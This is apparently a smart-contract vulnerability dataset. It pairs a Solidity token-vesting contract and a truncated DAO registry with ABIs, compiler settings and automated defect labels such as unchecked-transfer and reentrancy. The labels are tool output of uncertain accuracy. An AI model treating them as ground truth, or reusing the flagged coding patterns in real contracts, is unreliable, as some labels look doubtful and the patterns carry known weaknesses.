ype":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"unlockRewardToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalPreSaleTokenIssued","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"list","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"TOKEN_SUPPLY_SEED_PRESALE_LIMIT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"icoContract","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"handlePresaleToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addrList","type":"address[]"}],"name":"unlockRewardTokenMany","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"TOKEN_SUPPLY_MAINSALE_LIMIT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addrList","type":"address[]"}],"name":"setMany","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_icoContract","type":"address"}],"name":"setIcoContract","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addrList","type":"address[]"}],"name":"lockRewardTokenMany","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addrList","type":"address[]"},{"name":"amountList","type":"uint256[]"}],"name":"handlePresaleTokenMany","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"mainSaleTokenLocked","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalMainSaleTokenIssued","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.4.21+commit.dfe3193c
false
200
Default
false
bzzr://c7da67b6fb6f79228fcc91dbee8b7165c3091128285cb372a980c5b0d26ef899
TempusVesting
0x307824615f6cbe389c9e6712177b8db2e8636572
Solidity
// Dependency file: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * // importANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // Root file: contracts/TempusVesting.sol pragma solidity 0.6.10; // import "@openzeppelin/contracts/math/SafeMath.sol"; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; contract TempusVesting { using SafeMath for uint256; IERC20 internal token; IUniswapV2Pair internal uniswapPair; bool public hasDepositedTempus = false; bool public hasDepositedLP = false; address public owner; address public crowdsale; uint256 public depositedTempusAmount; uint256 public depositedLPAmount; uint256 public withdrawnToken = 0; uint256 public withdrawnLP = 0; uint256 public constant VESTING_PERIOD = 1036800; // 6 months of blocks uint256 public finalBlock; modifier onlyOwner() { require(msg.sender == owner || msg.sender == crowdsale, "TempusVesting: caller is not the owner"); _; } constructor( IERC20 _token, IUniswapV2Pair _uniswap, address _crowdsale ) public { owner = msg.sender; crowdsale = _crowdsale; token = IERC20(_token); uniswapPair = IUniswapV2Pair(_uniswap); } function depositTempus(uint256 amount) external { _depositTempus(amount); } function depositLP(uint256 amount) external { _depositLP(amount); } function _depositTempus(uint256 amount) internal onlyOwner { require(!hasDepositedTempus, "TempusVesting: already deposited temp"); token.transferFrom(msg.sender, address(this), amount); depositedTempusAmount = amount; finalBlock = block.number.add(VESTING_PERIOD); hasDepositedTempus = true; } function _depositLP(uint256 amount) internal onlyOwner { require(!hasDepositedLP, "TempusVesting: already deposited lp tokens"); uniswapPair.transferFrom(msg.sender, address(this), amount); depositedLPAmount = amount; finalBlock = block.number.add(VESTING_PERIOD); hasDepositedLP = true; } function withdrawTempus() external onlyOwner { require(hasDepositedTempus, "TempusVesting: have not deposited any temp"); if (block.number > finalBlock) { hasDepositedTempus = false; token.transfer(owner, token.balanceOf(address(this))); } else { uint256 numerator = depositedTempusAmount.mul(VESTING_PERIOD.sub(finalBlock.sub(block.number))); uint256 allowedAmount = numerator.div(VESTING_PERIOD); uint256 toWithdraw = allowedAmount.sub(withdrawnToken); withdrawnToken = withdrawnToken.add(toWithdraw); token.transfer(owner, toWithdraw); } } function withdrawLP() external onlyOwner { require(hasDepositedLP, "TempusVesting: have not deposited any lp tokens"); if (block.number > finalBlock) { hasDepositedLP = false; uniswapPair.transfer(owner, uniswapPair.balanceOf(address(this))); } else { uint256 numerator = depositedLPAmount.mul(VESTING_PERIOD.sub(finalBlock.sub(block.number))); uint256 allowedAmount = numerator.div(VESTING_PERIOD); uint256 toWithdraw = allowedAmount.sub(withdrawnLP); withdrawnLP = withdrawnLP.add(toWithdraw); uniswapPair.transfer(owner, toWithdraw); } } }
[{"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["415", "407"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["409", "443", "417", "428"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["353"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TempusVesting.sol": [165, 166, 167, 168, 169, 170, 171, 172]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TempusVesting.sol": [149, 150, 151]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TempusVesting.sol": [358]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"TempusVesting.sol": [392]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TempusVesting.sol": [289]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TempusVesting.sol": [315]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TempusVesting.sol": [287]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"TempusVesting.sol": [409]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"TempusVesting.sol": [417]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"TempusVesting.sol": [418]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"TempusVesting.sol": [410]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"TempusVesting.sol": [432]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"TempusVesting.sol": [426]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"TempusVesting.sol": [441]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"TempusVesting.sol": [407]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"TempusVesting.sol": [447]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"TempusVesting.sol": [415]}}]
[]
[{"rule": "SOLIDITY_SAFEMATH", "line": 365, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 326, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 340, "severity": 1}]
[{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"},{"internalType":"contract IUniswapV2Pair","name":"_uniswap","type":"address"},{"internalType":"address","name":"_crowdsale","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"VESTING_PERIOD","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crowdsale","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"depositLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"depositTempus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"depositedLPAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"depositedTempusAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"finalBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasDepositedLP","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasDepositedTempus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawTempus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawnLP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawnToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]
v0.6.10+commit.00c0fcaf
false
200
0000000000000000000000005e41c0f52a0d7fa33de379e3fee63358e6c8c8510000000000000000000000002fcb3da81c8b3793b6176d4524c94a596b96915c000000000000000000000000b9a0102dcee1fa4ada2e879f67e94388f7bcee7d
Default
None
false
ipfs://501b9106ccf6d1ebd1e43d56200ca85fd24d91698d773f33b0473068fc627ab5
ERC20Extension
0xec7ff7e3a959af124e5d0b21030b73747dcdff00
Solidity
// File: /Users/davidroon/projects/tribute-contracts/contracts/core/DaoConstants.sol pragma solidity ^0.8.0; // SPDX-License-Identifier: MIT /** MIT License Copyright (c) 2020 Openlaw Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ abstract contract DaoConstants { // Adapters bytes32 internal constant VOTING = keccak256("voting"); bytes32 internal constant ONBOARDING = keccak256("onboarding"); bytes32 internal constant NONVOTING_ONBOARDING = keccak256("nonvoting-onboarding"); bytes32 internal constant TRIBUTE = keccak256("tribute"); bytes32 internal constant FINANCING = keccak256("financing"); bytes32 internal constant MANAGING = keccak256("managing"); bytes32 internal constant RAGEQUIT = keccak256("ragequit"); bytes32 internal constant GUILDKICK = keccak256("guildkick"); bytes32 internal constant EXECUTION = keccak256("execution"); bytes32 internal constant CONFIGURATION = keccak256("configuration"); bytes32 internal constant DISTRIBUTE = keccak256("distribute"); bytes32 internal constant TRIBUTE_NFT = keccak256("tribute-nft"); // Extensions bytes32 internal constant BANK = keccak256("bank"); bytes32 internal constant NFT = keccak256("nft"); bytes32 internal constant ERC20_EXT = keccak256("erc20-ext"); // Reserved Addresses address internal constant GUILD = address(0xdead); address internal constant TOTAL = address(0xbabe); address internal constant ESCROW = address(0x4bec); address internal constant UNITS = address(0xFF1CE); address internal constant LOOT = address(0xB105F00D); address internal constant ETH_TOKEN = address(0x0); address internal constant MEMBER_COUNT = address(0xDECAFBAD); uint8 internal constant MAX_TOKENS_GUILD_BANK = 200; //helper function getFlag(uint256 flags, uint256 flag) public pure returns (bool) { return (flags >> uint8(flag)) % 2 == 1; } function setFlag( uint256 flags, uint256 flag, bool value ) public pure returns (uint256) { if (getFlag(flags, flag) != value) { if (value) { return flags + 2**flag; } else { return flags - 2**flag; } } else { return flags; } } /** * @notice Checks if a given address is reserved. */ function isNotReservedAddress(address addr) public pure returns (bool) { return addr != GUILD && addr != TOTAL && addr != ESCROW; } /** * @notice Checks if a given address is zeroed. */ function isNotZeroAddress(address addr) public pure returns (bool) { return addr != address(0x0); } } // File: /Users/davidroon/projects/tribute-contracts/contracts/core/DaoRegistry.sol pragma solidity ^0.8.0; // SPDX-License-Identifier: MIT import "./DaoConstants.sol"; import "../guards/AdapterGuard.sol"; import "../guards/MemberGuard.sol"; import "../extensions/IExtension.sol"; /** MIT License Copyright (c) 2020 Openlaw Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract DaoRegistry is MemberGuard, AdapterGuard { bool public initialized = false; // internally tracks deployment under eip-1167 proxy pattern enum DaoState {CREATION, READY} /* * EVENTS */ /// @dev - Events for Proposals event SubmittedProposal(bytes32 proposalId, uint256 flags); event SponsoredProposal( bytes32 proposalId, uint256 flags, address votingAdapter ); event ProcessedProposal(bytes32 proposalId, uint256 flags); event AdapterAdded( bytes32 adapterId, address adapterAddress, uint256 flags ); event AdapterRemoved(bytes32 adapterId); event ExtensionAdded(bytes32 extensionId, address extensionAddress); event ExtensionRemoved(bytes32 extensionId); /// @dev - Events for Members event UpdateDelegateKey(address memberAddress, address newDelegateKey); event ConfigurationUpdated(bytes32 key, uint256 value); event AddressConfigurationUpdated(bytes32 key, address value); enum MemberFlag {EXISTS} enum ProposalFlag {EXISTS, SPONSORED, PROCESSED} enum AclFlag { REPLACE_ADAPTER, SUBMIT_PROPOSAL, UPDATE_DELEGATE_KEY, SET_CONFIGURATION, ADD_EXTENSION, REMOVE_EXTENSION, NEW_MEMBER } /* * STRUCTURES */ struct Proposal { // the structure to track all the proposals in the DAO address adapterAddress; // the adapter address that called the functions to change the DAO state uint256 flags; // flags to track the state of the proposal: exist, sponsored, processed, canceled, etc. } struct Member { // the structure to track all the members in the DAO uint256 flags; // flags to track the state of the member: exists, etc } struct Checkpoint { // A checkpoint for marking number of votes from a given block uint96 fromBlock; uint160 amount; } struct DelegateCheckpoint { // A checkpoint for marking number of votes from a given block uint96 fromBlock; address delegateKey; } struct AdapterEntry { bytes32 id; uint256 acl; } struct ExtensionEntry { bytes32 id; mapping(address => uint256) acl; } /* * PUBLIC VARIABLES */ mapping(address => Member) public members; // the map to track all members of the DAO address[] private _members; // delegate key => member address mapping mapping(address => address) public memberAddressesByDelegatedKey; // memberAddress => checkpointNum => DelegateCheckpoint mapping(address => mapping(uint32 => DelegateCheckpoint)) checkpoints; // memberAddress => numDelegateCheckpoints mapping(address => uint32) numCheckpoints; DaoState public state; /// @notice The map that keeps track of all proposasls submitted to the DAO mapping(bytes32 => Proposal) public proposals; /// @notice The map that tracks the voting adapter address per proposalId mapping(bytes32 => address) public votingAdapter; /// @notice The map that keeps track of all adapters registered in the DAO mapping(bytes32 => address) public adapters; /// @notice The inverse map to get the adapter id based on its address mapping(address => AdapterEntry) public inverseAdapters; /// @notice The map that keeps track of all extensions registered in the DAO mapping(bytes32 => address) public extensions; /// @notice The inverse map to get the extension id based on its address mapping(address => ExtensionEntry) public inverseExtensions; /// @notice The map that keeps track of configuration parameters for the DAO and adapters mapping(bytes32 => uint256) public mainConfiguration; mapping(bytes32 => address) public addressConfiguration; uint256 public lockedAt; /// @notice Clonable contract must have an empty constructor // constructor() { // } /** * @notice Initialises the DAO * @dev Involves initialising available tokens, checkpoints, and membership of creator * @dev Can only be called once * @param creator The DAO's creator, who will be an initial member * @param payer The account which paid for the transaction to create the DAO, who will be an initial member */ function initialize(address creator, address payer) external { require(!initialized, "dao already initialized"); potentialNewMember(msg.sender); potentialNewMember(payer); potentialNewMember(creator); initialized = true; } /** * @notice default fallback function to prevent from sending ether to the contract */ receive() external payable { revert("you cannot send money back directly"); } /** * @dev Sets the state of the dao to READY */ function finalizeDao() external { state = DaoState.READY; } function lockSession() external { if (isAdapter(msg.sender) || isExtension(msg.sender)) { lockedAt = block.number; } } function unlockSession() external { if (isAdapter(msg.sender) || isExtension(msg.sender)) { lockedAt = 0; } } /** * @notice Sets a configuration value * @dev Changes the value of a key in the configuration mapping * @param key The configuration key for which the value will be set * @param value The value to set the key */ function setConfiguration(bytes32 key, uint256 value) external hasAccess(this, AclFlag.SET_CONFIGURATION) { mainConfiguration[key] = value; emit ConfigurationUpdated(key, value); } function potentialNewMember(address memberAddress) public hasAccess(this, AclFlag.NEW_MEMBER) { require(memberAddress != address(0x0), "invalid member address"); Member storage member = members[memberAddress]; if (!getFlag(member.flags, uint8(MemberFlag.EXISTS))) { require( memberAddressesByDelegatedKey[memberAddress] == address(0x0), "member address already taken as delegated key" ); member.flags = setFlag( member.flags, uint8(MemberFlag.EXISTS), true ); memberAddressesByDelegatedKey[memberAddress] = memberAddress; _members.push(memberAddress); } address bankAddress = extensions[BANK]; if (bankAddress != address(0x0)) { BankExtension bank = BankExtension(bankAddress); if (bank.balanceOf(memberAddress, MEMBER_COUNT) == 0) { bank.addToBalance(memberAddress, MEMBER_COUNT, 1); } } } /** * @notice Sets an configuration value * @dev Changes the value of a key in the configuration mapping * @param key The configuration key for which the value will be set * @param value The value to set the key */ function setAddressConfiguration(bytes32 key, address value) external hasAccess(this, AclFlag.SET_CONFIGURATION) { addressConfiguration[key] = value; emit AddressConfigurationUpdated(key, value); } /** * @return The configuration value of a particular key * @param key The key to look up in the configuration mapping */ function getConfiguration(bytes32 key) external view returns (uint256) { return mainConfiguration[key]; } /** * @return The configuration value of a particular key * @param key The key to look up in the configuration mapping */ function getAddressConfiguration(bytes32 key) external view returns (address) { return addressConfiguration[key]; } /** * @notice Adds a new extension to the registry * @param extensionId The unique identifier of the new extension * @param extension The address of the extension * @param creator The DAO's creator, who will be an initial member */ function addExtension( bytes32 extensionId, IExtension extension, address creator ) external hasAccess(this, AclFlag.ADD_EXTENSION) { require(extensionId != bytes32(0), "extension id must not be empty"); require( extensions[extensionId] == address(0x0), "extension Id already in use" ); extensions[extensionId] = address(extension); inverseExtensions[address(extension)].id = extensionId; extension.initialize(this, creator); emit ExtensionAdded(extensionId, address(extension)); } function setAclToExtensionForAdapter( address extensionAddress, address adapterAddress, uint256 acl ) external hasAccess(this, AclFlag.ADD_EXTENSION) { require(isAdapter(adapterAddress), "not an adapter"); require(isExtension(extensionAddress), "not an extension"); inverseExtensions[extensionAddress].acl[adapterAddress] = acl; } /** * @notice Replaces an adapter in the registry in a single step. * @notice It handles addition and removal of adapters as special cases. * @dev It removes the current adapter if the adapterId maps to an existing adapter address. * @dev It adds an adapter if the adapterAddress parameter is not zeroed. * @param adapterId The unique identifier of the adapter * @param adapterAddress The address of the new adapter or zero if it is a removal operation * @param acl The flags indicating the access control layer or permissions of the new adapter * @param keys The keys indicating the adapter configuration names. * @param values The values indicating the adapter configuration values. */ function replaceAdapter( bytes32 adapterId, address adapterAddress, uint128 acl, bytes32[] calldata keys, uint256[] calldata values ) external hasAccess(this, AclFlag.REPLACE_ADAPTER) { require(adapterId != bytes32(0), "adapterId must not be empty"); address currentAdapterAddr = adapters[adapterId]; if (currentAdapterAddr != address(0x0)) { delete inverseAdapters[currentAdapterAddr]; delete adapters[adapterId]; emit AdapterRemoved(adapterId); } for (uint256 i = 0; i < keys.length; i++) { bytes32 key = keys[i]; uint256 value = values[i]; mainConfiguration[key] = value; emit ConfigurationUpdated(key, value); } if (adapterAddress != address(0x0)) { require( inverseAdapters[adapterAddress].id == bytes32(0), "adapterAddress already in use" ); adapters[adapterId] = adapterAddress; inverseAdapters[adapterAddress].id = adapterId; inverseAdapters[adapterAddress].acl = acl; emit AdapterAdded(adapterId, adapterAddress, acl); } } /** * @notice Removes an adapter from the registry * @param extensionId The unique identifier of the extension */ function removeExtension(bytes32 extensionId) external hasAccess(this, AclFlag.REMOVE_EXTENSION) { require(extensionId != bytes32(0), "extensionId must not be empty"); require( extensions[extensionId] != address(0x0), "extensionId not registered" ); delete inverseExtensions[extensions[extensionId]]; delete extensions[extensionId]; emit ExtensionRemoved(extensionId); } /** * @notice Looks up if there is an extension of a given address * @return Whether or not the address is an extension * @param extensionAddr The address to look up */ function isExtension(address extensionAddr) public view returns (bool) { return inverseExtensions[extensionAddr].id != bytes32(0); } /** * @notice Looks up if there is an adapter of a given address * @return Whether or not the address is an adapter * @param adapterAddress The address to look up */ function isAdapter(address adapterAddress) public view returns (bool) { return inverseAdapters[adapterAddress].id != bytes32(0); } /** * @notice Checks if an adapter has a given ACL flag * @return Whether or not the given adapter has the given flag set * @param adapterAddress The address to look up * @param flag The 